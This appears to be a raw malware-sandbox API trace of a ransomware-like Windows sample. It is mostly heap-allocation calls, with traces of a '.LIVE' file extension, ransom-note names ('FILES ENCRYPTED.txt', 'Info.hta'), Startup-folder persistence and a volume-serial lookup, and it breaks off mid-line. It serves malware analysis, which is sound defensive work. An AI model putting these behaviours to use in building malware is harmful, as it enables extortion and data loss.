0x5cafc0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cafd8 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5caff0 [0167.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5cb008 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12) returned 0x5a62a8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb020 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb038 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb050 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb068 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb080 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb0c0 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb0d8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb0f0 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb108 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb120 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb138 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb150 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb168 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb180 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb198 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb1b0 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb1c8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb1e0 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb1f8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb210 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb228 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb240 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb258 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe) returned 0x5cb270 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb288 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee4f8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb2a0 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee508 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb2b8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb2d0 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb2e8 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb300 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb318 [0167.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb330 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb348 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb360 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb378 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb390 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb3a8 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb3c0 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5cb3d8 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb3f0 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x5ee518 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb408 [0167.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5cb420 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ca8a0, Size=0x800) returned 0x5cb8a8 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a55b8, Size=0x8) returned 0x5a55b8 [0167.977] lstrlenW (lpString=".LIVE") returned 5 [0167.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc1e8 | out: hHeap=0x570000) returned 1 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc218, Size=0x20) returned 0x584718 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584718, Size=0x40) returned 0x5a86d8 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a86d8, Size=0x80) returned 0x5ea8b0 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee588, Size=0x8) returned 0x5ee598 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee598, Size=0x10) returned 0x5cc218 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc218, Size=0x20) returned 0x5846f0 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc248, Size=0x20) returned 0x5a5cd8 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5cd8, Size=0x40) returned 0x5a86d8 [0167.977] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0167.977] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc248, Size=0x20) returned 0x5a5cd8 [0167.977] lstrlenW (lpString="Info.hta") returned 8 [0167.978] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5cc4b0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0167.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc4b0 | out: hHeap=0x570000) returned 1 [0167.978] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.978] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5846f0, Size=0x40) returned 0x5a86d8 [0167.978] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc248, Size=0x20) returned 0x5846f0 [0167.978] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc248, Size=0x20) returned 0x5a5cd8 [0167.978] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5cd8, Size=0x40) returned 0x5a8720 [0167.978] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8720, Size=0x80) returned 0x5ea8b0 [0167.978] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ec898 [0167.978] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ec898 | out: hHeap=0x570000) returned 1 [0167.978] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5cc4b0, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0167.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eec90 | out: hHeap=0x570000) returned 1 [0167.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc4b0 | out: hHeap=0x570000) returned 1 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee598, Size=0x8) returned 0x5ee588 [0167.979] lstrlenW (lpString="%windir%;") returned 9 [0167.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5846f0 | out: hHeap=0x570000) returned 1 [0167.979] lstrlenW (lpString="C:\\Windows;") returned 11 [0167.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ba898 | out: hHeap=0x570000) returned 1 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc260, Size=0x20) returned 0x5846f0 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5846f0, Size=0x40) returned 0x5a8720 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8720, Size=0x80) returned 0x5ea8b0 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba8b0 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5c8, Size=0x8) returned 0x5ee5d8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5d8, Size=0x10) returned 0x5cc2a8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc2a8, Size=0x20) returned 0x5846f0 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee598, Size=0x8) returned 0x5ee5d8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5a8, Size=0x8) returned 0x5ee598 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5c8, Size=0x8) returned 0x5ee5e8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5e8, Size=0x10) returned 0x5cc350 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc350, Size=0x20) returned 0x5a5cd8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5d8, Size=0x10) returned 0x5cc350 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee598, Size=0x10) returned 0x5cc380 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5d8, Size=0x8) returned 0x5ee5c8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee5f8, Size=0x8) returned 0x5ee608 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc350, Size=0x20) returned 0x5a5c88 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc380, Size=0x20) returned 0x5a5be8 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee618, Size=0x8) returned 0x5ee628 [0167.979] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc3f8, Size=0x20) returned 0x5a5d00 [0167.979] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5eec90, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0167.980] lstrlenW (lpString="C:\\") returned 3 [0167.980] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eec90 | out: hHeap=0x570000) returned 1 [0167.980] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee658, Size=0x82) returned 0x5eca00 [0167.980] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee678, Size=0x100) returned 0x5ba8b0 [0167.980] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a95e8, Size=0x104) returned 0x5ed088 [0167.980] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea9c0, Size=0x100) returned 0x5ba9b8 [0167.980] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5eca00, Size=0x104) returned 0x5ed198 [0167.980] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ba8b0, Size=0x200) returned 0x5ed2a8 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee668 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed2a8 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ecca0 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eaa48 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc458 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eaad0 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc488 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed198 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc470 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed088 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eccb8 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9678 | out: hHeap=0x570000) returned 1 [0167.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eccd0 | out: hHeap=0x570000) returned 1 [0167.982] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc470, Size=0x20) returned 0x5a5d28 [0167.982] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5d28, Size=0x40) returned 0x5a8720 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc440, Size=0x20) returned 0x5a5d28 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5d28, Size=0x40) returned 0x5a8768 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8768, Size=0x80) returned 0x5ea8b0 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba9b8 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ba9b8, Size=0x200) returned 0x5be8b8 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5be8b8, Size=0x400) returned 0x5ed088 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ed088, Size=0x800) returned 0x5ed088 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ed088, Size=0x1000) returned 0x5fecb0 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee618, Size=0x8) returned 0x5ee638 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee638, Size=0x10) returned 0x5cc458 [0167.984] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5cc458, Size=0x20) returned 0x5a5d28 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5d28, Size=0x40) returned 0x5a8768 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8768, Size=0x80) returned 0x5ea8b0 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba9b8 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ba9b8, Size=0x200) returned 0x5be8b8 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5be8b8, Size=0x400) returned 0x5c28b8 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5c28b8, Size=0x800) returned 0x5dccb8 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddb68, Size=0x20) returned 0x5a5d28 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5d28, Size=0x40) returned 0x5a8768 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8768, Size=0x80) returned 0x5ea8b0 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7b8, Size=0x8) returned 0x5ee7c8 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7c8, Size=0x10) returned 0x5ddb68 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddb68, Size=0x20) returned 0x5a5d78 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddb98, Size=0x20) returned 0x5a5da0 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5da0, Size=0x40) returned 0x5a8768 [0167.985] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0167.985] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddb98, Size=0x20) returned 0x5a5da0 [0167.985] lstrlenW (lpString="Info.hta") returned 8 [0167.986] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5fecb0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0167.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5fecb0 | out: hHeap=0x570000) returned 1 [0167.986] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5d78, Size=0x40) returned 0x5a8768 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddb98, Size=0x20) returned 0x5a5d78 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddb98, Size=0x20) returned 0x5a5da0 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5da0, Size=0x40) returned 0x5a87b0 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a87b0, Size=0x80) returned 0x5ea8b0 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba9b8 [0167.986] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ba9b8 | out: hHeap=0x570000) returned 1 [0167.986] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5fecb0, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0167.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ecb8 | out: hHeap=0x570000) returned 1 [0167.986] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5fecb0 | out: hHeap=0x570000) returned 1 [0167.986] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7c8, Size=0x8) returned 0x5ee7b8 [0167.986] lstrlenW (lpString="%windir%;") returned 9 [0167.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5d78 | out: hHeap=0x570000) returned 1 [0167.987] lstrlenW (lpString="C:\\Windows;") returned 11 [0167.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc4b0 | out: hHeap=0x570000) returned 1 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddbb0, Size=0x20) returned 0x5a5d78 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5d78, Size=0x40) returned 0x5a87b0 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a87b0, Size=0x80) returned 0x5ea8b0 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba9b8 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7f8, Size=0x8) returned 0x5ee808 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee808, Size=0x10) returned 0x5ddbf8 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddbf8, Size=0x20) returned 0x5a5d78 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7c8, Size=0x8) returned 0x5ee808 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7d8, Size=0x8) returned 0x5ee7c8 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7f8, Size=0x8) returned 0x5ee818 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee818, Size=0x10) returned 0x5ddca0 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddca0, Size=0x20) returned 0x5a5da0 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee808, Size=0x10) returned 0x5ddca0 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee7c8, Size=0x10) returned 0x5ddcf0 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee808, Size=0x8) returned 0x5ee7f8 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee828, Size=0x8) returned 0x5ee838 [0167.988] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddca0, Size=0x20) returned 0x5a5dc8 [0167.989] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddcf0, Size=0x20) returned 0x5a5df0 [0167.989] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee848, Size=0x8) returned 0x5ee858 [0167.989] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddd80, Size=0x20) returned 0x5a5e40 [0167.989] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5cc4b0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0167.989] lstrlenW (lpString="C:\\") returned 3 [0167.989] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.989] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc4b0 | out: hHeap=0x570000) returned 1 [0167.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de4d8, Size=0x82) returned 0x5a9678 [0167.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de4f8, Size=0x100) returned 0x5ba9b8 [0167.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a9678, Size=0x104) returned 0x5de950 [0167.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ba9b8, Size=0x200) returned 0x5be8b8 [0167.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a9708, Size=0x104) returned 0x5dea60 [0167.990] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5eaad0, Size=0x100) returned 0x5ba9b8 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5de4e8 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8b8 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dde28 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5eaa48 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ddde0 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ea9c0 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dde10 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5de950 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dddf8 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dea60 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dde40 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5de8c0 | out: hHeap=0x570000) returned 1 [0167.991] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dde58 | out: hHeap=0x570000) returned 1 [0167.991] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5dde58, Size=0x20) returned 0x5a5e68 [0167.991] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5e68, Size=0x40) returned 0x5a87b0 [0167.992] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5a6fa0*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 70 os_tid = 0x434 Thread: id = 72 os_tid = 0x4a8 [0168.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5dddc8 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5dddc8, Size=0x20) returned 0x5a5e68 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5e68, Size=0x40) returned 0x5a87f8 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a87f8, Size=0x80) returned 0x5ea8b0 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba9b8 [0168.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5dddc8 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5dddc8, Size=0x20) returned 0x5a5e68 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5e68, Size=0x40) returned 0x5a87f8 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, 